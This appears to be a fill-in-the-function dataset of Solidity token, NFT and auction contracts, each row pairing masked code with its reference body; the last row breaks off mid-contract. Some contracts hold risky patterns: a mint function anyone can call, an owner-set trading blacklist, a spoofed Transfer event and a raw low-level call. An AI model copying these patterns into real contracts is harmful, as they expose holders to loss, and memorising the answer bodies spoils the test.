mapping(uint256 => string) private _tokenURI;
constructor(string memory name_, string memory symbol_) ERC721(name_, symbol_) {}
function tokenURI(uint256 tokenId) public view override virtual returns (string memory) {
return _tokenURI[tokenId];
}
function mint(
address to,
uint256 tokenId,
string calldata uri
) public virtual {
_mint(to, tokenId);
_tokenURI[tokenId] = uri;
}
function burn(uint256 tokenId) public virtual {<FILL_FUNCTION_BODY> }
} | contract KaliNFT is ERC721, Multicall {
mapping(uint256 => string) private _tokenURI;
constructor(string memory name_, string memory symbol_) ERC721(name_, symbol_) {}
function tokenURI(uint256 tokenId) public view override virtual returns (string memory) {
return _tokenURI[tokenId];
}
function mint(
address to,
uint256 tokenId,
string calldata uri
) public virtual {
_mint(to, tokenId);
_tokenURI[tokenId] = uri;
}
<FILL_FUNCTION>
} |
if (msg.sender != ownerOf[tokenId]) revert NotOwner();
_burn(tokenId);
| function burn(uint256 tokenId) public virtual | function burn(uint256 tokenId) public virtual |
64398 | InternalReflectionService | _getRValues | contract InternalReflectionService is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Internal Reflection Service";
string private constant _symbol = "IRS";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x6BDDc1Fc842573F472566CE5eb9007E100B4482f);
_feeAddrWallet2 = payable(0x6BDDc1Fc842573F472566CE5eb9007E100B4482f);
_rOwned[_msgSender()] = _rTotal;
_sellTax = 5;
_buyTax = 5;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x7b9D8513F2b4324c448aad99EbcD7880f294112E), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 5;
_feeAddr2 = _buyTax;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (40 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 5;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet2.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBot(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {<FILL_FUNCTION_BODY> }
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 10000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 10) {
_sellTax = sellTax;
}
}
function _setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 10) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract InternalReflectionService is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Internal Reflection Service";
string private constant _symbol = "IRS";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x6BDDc1Fc842573F472566CE5eb9007E100B4482f);
_feeAddrWallet2 = payable(0x6BDDc1Fc842573F472566CE5eb9007E100B4482f);
_rOwned[_msgSender()] = _rTotal;
_sellTax = 5;
_buyTax = 5;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x7b9D8513F2b4324c448aad99EbcD7880f294112E), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 5;
_feeAddr2 = _buyTax;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (40 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 5;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet2.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBot(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
<FILL_FUNCTION>
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 10000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 10) {
_sellTax = sellTax;
}
}
function _setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 10) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
| function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) | function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) |
42465 | MMTOKEN | approveAndCall | contract MMTOKEN is StandardToken {
function () {
throw;
}
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function MMTOKEN(
) {
balances[msg.sender] = 12000000000000000000000000;
totalSupply = 12000000000000000000000000;
name = "Maximum Token";
decimals = 18;
symbol = "MMT";
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {<FILL_FUNCTION_BODY> }
} | contract MMTOKEN is StandardToken {
function () {
throw;
}
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function MMTOKEN(
) {
balances[msg.sender] = 12000000000000000000000000;
totalSupply = 12000000000000000000000000;
name = "Maximum Token";
decimals = 18;
symbol = "MMT";
}
<FILL_FUNCTION>
} |
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
| function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) | /* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) |
69456 | UniHelper | _mintLPToken | contract UniHelper{
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
function _mintLPToken(
IUniswapV2Pair uniswap_pair,
IERC20 token0,
IERC20 token1,
uint256 amount_token1,
address token0_source
) internal {<FILL_FUNCTION_BODY> }
function _burnLPToken(IUniswapV2Pair uniswap_pair, address destination) internal {
uniswap_pair.transfer(
address(uniswap_pair),
uniswap_pair.balanceOf(address(this))
);
IUniswapV2Pair(uniswap_pair).burn(destination);
}
function quote(uint256 purchaseAmount, uint256 saleAmount)
internal
pure
returns (uint256)
{
return purchaseAmount.mul(ONE).div(saleAmount);
}
} | contract UniHelper{
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
<FILL_FUNCTION>
function _burnLPToken(IUniswapV2Pair uniswap_pair, address destination) internal {
uniswap_pair.transfer(
address(uniswap_pair),
uniswap_pair.balanceOf(address(this))
);
IUniswapV2Pair(uniswap_pair).burn(destination);
}
function quote(uint256 purchaseAmount, uint256 saleAmount)
internal
pure
returns (uint256)
{
return purchaseAmount.mul(ONE).div(saleAmount);
}
} |
(uint256 reserve0, uint256 reserve1, ) = uniswap_pair
.getReserves();
uint256 quoted = quote(reserve0, reserve1);
uint256 amount_token0 = quoted.mul(amount_token1).div(ONE);
token0.transferFrom(token0_source, address(uniswap_pair), amount_token0);
token1.transfer(address(uniswap_pair), amount_token1);
IUniswapV2Pair(uniswap_pair).mint(address(this));
| function _mintLPToken(
IUniswapV2Pair uniswap_pair,
IERC20 token0,
IERC20 token1,
uint256 amount_token1,
address token0_source
) internal | function _mintLPToken(
IUniswapV2Pair uniswap_pair,
IERC20 token0,
IERC20 token1,
uint256 amount_token1,
address token0_source
) internal |
65126 | DNC_DIAMOND | balanceOf | contract DNC_DIAMOND is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "DNC";
name = "DNC DIAMOND";
decimals = 18;
_totalSupply =2100000000000000000000000000;
balances[0x56F82b8d9B35c0b6811a3A6a039a395Ea0B0Dc29] = _totalSupply;
emit Transfer(address(0),0x56F82b8d9B35c0b6811a3A6a039a395Ea0B0Dc29, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract DNC_DIAMOND is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "DNC";
name = "DNC DIAMOND";
decimals = 18;
_totalSupply =2100000000000000000000000000;
balances[0x56F82b8d9B35c0b6811a3A6a039a395Ea0B0Dc29] = _totalSupply;
emit Transfer(address(0),0x56F82b8d9B35c0b6811a3A6a039a395Ea0B0Dc29, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
return balances[tokenOwner];
| function balanceOf(address tokenOwner) public constant returns (uint balance) | // ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) |
2083 | DutchSwapFactory | deployDutchAuction | contract DutchSwapFactory is Owned, CloneFactory {
using SafeMath for uint256;
address public dutchAuctionTemplate;
struct Auction {
bool exists;
uint256 index;
}
address public newAddress;
uint256 public minimumFee = 0 ether;
mapping(address => Auction) public isChildAuction;
address[] public auctions;
event DutchAuctionDeployed(address indexed owner, address indexed addr, address dutchAuction, uint256 fee);
event AuctionRemoved(address dutchAuction, uint256 index );
event FactoryDeprecated(address newAddress);
event MinimumFeeUpdated(uint oldFee, uint newFee);
event AuctionTemplateUpdated(address oldDutchAuction, address newDutchAuction );
function initDutchSwapFactory( address _dutchAuctionTemplate, uint256 _minimumFee) public {
_initOwned(msg.sender);
dutchAuctionTemplate = _dutchAuctionTemplate;
minimumFee = _minimumFee;
}
function numberOfAuctions() public view returns (uint) {
return auctions.length;
}
function removeFinalisedAuction(address _auction) public {
require(isChildAuction[_auction].exists);
bool finalised = IDutchAuction(_auction).auctionEnded();
require(finalised);
uint removeIndex = isChildAuction[_auction].index;
emit AuctionRemoved(_auction, auctions.length - 1);
uint lastIndex = auctions.length - 1;
address lastIndexAddress = auctions[lastIndex];
auctions[removeIndex] = lastIndexAddress;
isChildAuction[lastIndexAddress].index = removeIndex;
if (auctions.length > 0) {
auctions.pop();
}
}
function deprecateFactory(address _newAddress) public {
require(isOwner());
require(newAddress == address(0));
emit FactoryDeprecated(_newAddress);
newAddress = _newAddress;
}
function setMinimumFee(uint256 _minimumFee) public {
require(isOwner());
emit MinimumFeeUpdated(minimumFee, _minimumFee);
minimumFee = _minimumFee;
}
function setDutchAuctionTemplate( address _dutchAuctionTemplate) public {
require(isOwner());
emit AuctionTemplateUpdated(dutchAuctionTemplate, _dutchAuctionTemplate);
dutchAuctionTemplate = _dutchAuctionTemplate;
}
function deployDutchAuction(
address _token,
uint256 _tokenSupply,
uint256 _startDate,
uint256 _endDate,
address _paymentCurrency,
uint256 _startPrice,
uint256 _minimumPrice,
address payable _wallet
)
public payable returns (address dutchAuction)
{<FILL_FUNCTION_BODY> }
// footer functions
function transferAnyERC20Token(address tokenAddress, uint256 tokens) public returns (bool success) {
require(isOwner());
return IERC20(tokenAddress).transfer(owner(), tokens);
}
receive () external payable {
revert();
}
} | contract DutchSwapFactory is Owned, CloneFactory {
using SafeMath for uint256;
address public dutchAuctionTemplate;
struct Auction {
bool exists;
uint256 index;
}
address public newAddress;
uint256 public minimumFee = 0 ether;
mapping(address => Auction) public isChildAuction;
address[] public auctions;
event DutchAuctionDeployed(address indexed owner, address indexed addr, address dutchAuction, uint256 fee);
event AuctionRemoved(address dutchAuction, uint256 index );
event FactoryDeprecated(address newAddress);
event MinimumFeeUpdated(uint oldFee, uint newFee);
event AuctionTemplateUpdated(address oldDutchAuction, address newDutchAuction );
